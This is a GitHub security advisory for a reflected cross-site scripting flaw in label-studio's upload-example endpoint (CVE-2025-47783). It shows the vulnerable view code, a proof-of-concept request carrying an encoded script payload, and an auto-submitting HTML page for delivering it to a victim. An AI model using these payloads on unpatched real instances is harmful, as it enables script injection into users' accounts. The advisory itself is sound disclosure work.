ghsa-8jhr-wpcm-hh4h
Vulnerability from github
Summary
The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.
Details
The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/
endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py
.
python
39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41: """Generate upload data example by config only"""
42: config = request.POST.get('label_config', '')
43:
44: org_pk = get_organization_from_request(request)
45: secure_mode = False
46: if org_pk is not None:
47: org = generics.get_object_or_404(Organization, pk=org_pk)
48: secure_mode = org.secure_mode
49:
50: try:
51: Project.validate_label_config(config)
52: task_data, _, _ = get_sample_task(config, secure_mode)
53: task_data = playground_replacements(request, task_data)
54: except (ValueError, ValidationError, lxml.etree.Error):
55: response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56: else:
57: response = HttpResponse(json.dumps(task_data))
58: return response
The vulnerability is specifically located in line 57, where HttpResponse is used.
python
57: response = HttpResponse(json.dumps(task_data))
PoC
Send the following request after changing the {host}
to your own.
```css
POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e
Or you can create a vulnerable HTML page by changing `{domain}` beforehand, which can later be sent to the victim.
html
```
Impact
- Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing
document.cookie
, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.
{ "affected": [ { "package": { "ecosystem": "PyPI", "name": "label-studio" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "1.18.0" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2025-47783" ], "database_specific": { "cwe_ids": [ "CWE-79" ], "github_reviewed": true, "github_reviewed_at": "2025-05-15T16:21:16Z", "nvd_published_at": "2025-05-14T23:15:48Z", "severity": "HIGH" }, "details": "### Summary\nThe vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.\n\n### Details\nThe vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`.\n```python\n39: @require_http_methods([\u0027POST\u0027])\n40: def upload_example_using_config(request):\n41: \"\"\"Generate upload data example by config only\"\"\"\n42: config = request.POST.get(\u0027label_config\u0027, \u0027\u0027)\n43: \n44: org_pk = get_organization_from_request(request)\n45: secure_mode = False\n46: if org_pk is not None:\n47: org = generics.get_object_or_404(Organization, pk=org_pk)\n48: secure_mode = org.secure_mode\n49: \n50: try:\n51: Project.validate_label_config(config)\n52: task_data, _, _ = get_sample_task(config, secure_mode)\n53: task_data = playground_replacements(request, task_data)\n54: except (ValueError, ValidationError, lxml.etree.Error):\n55: response = HttpResponse(\u0027error while example generating\u0027, status=status.HTTP_400_BAD_REQUEST)\n56: else:\n57: response = HttpResponse(json.dumps(task_data))\n58: return response\n```\nThe vulnerability is specifically located in line 57, where HttpResponse is used.\n```python\n57: response = HttpResponse(json.dumps(task_data))\n```\n### PoC\nSend the following request after changing the `{host}` to your own.\n```css\nPOST /projects/upload-example/ HTTP/1.1\nHost: {host}\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 67\n\nlabel_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e\n```\nOr you can create a vulnerable HTML page by changing `{domain}` beforehand, which can later be sent to the victim.\n```html\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cform action=\"http://{domain}/projects/upload-example/\" method=\"POST\"\u003e\n \u003cinput type=\"hidden\" name=\"label\u0026#95;config\" value=\"\u0026lt;View\u0026gt;\u0026lt;Text\u0026#32;name\u0026#61;\u0026quot;text\u0026quot;\u0026#32;value\u0026#61;\u0026quot;\u0026#36;textjmwwi\u0026amp;lt\u0026#59;script\u0026amp;gt\u0026#59;alert\u0026#40;1\u0026#41;\u0026amp;lt\u0026#59;\u0026#47;script\u0026amp;gt\u0026#59;s8m37\u0026quot;\u0026#47;\u0026gt;\u0026lt;\u0026#47;View\u0026gt;\" /\u003e\n \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n \u003c/form\u003e\n \u003cscript\u003e\n history.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027);\n document.forms[0].submit();\n \u003c/script\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n```\n### Impact\n- Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing `document.cookie`, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.", "id": "GHSA-8jhr-wpcm-hh4h", "modified": "2025-05-15T16:21:16Z", "published": "2025-05-15T16:21:16Z", "references": [ { "type": "WEB", "url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-8jhr-wpcm-hh4h" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47783" }, { "type": "WEB", "url": "https://github.com/HumanSignal/label-studio/commit/97db9e7b16783e1f6052eb432a6f014f80ef268d" }, { "type": "PACKAGE", "url": "https://github.com/HumanSignal/label-studio" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N", "type": "CVSS_V4" } ], "summary": "label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter." }
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.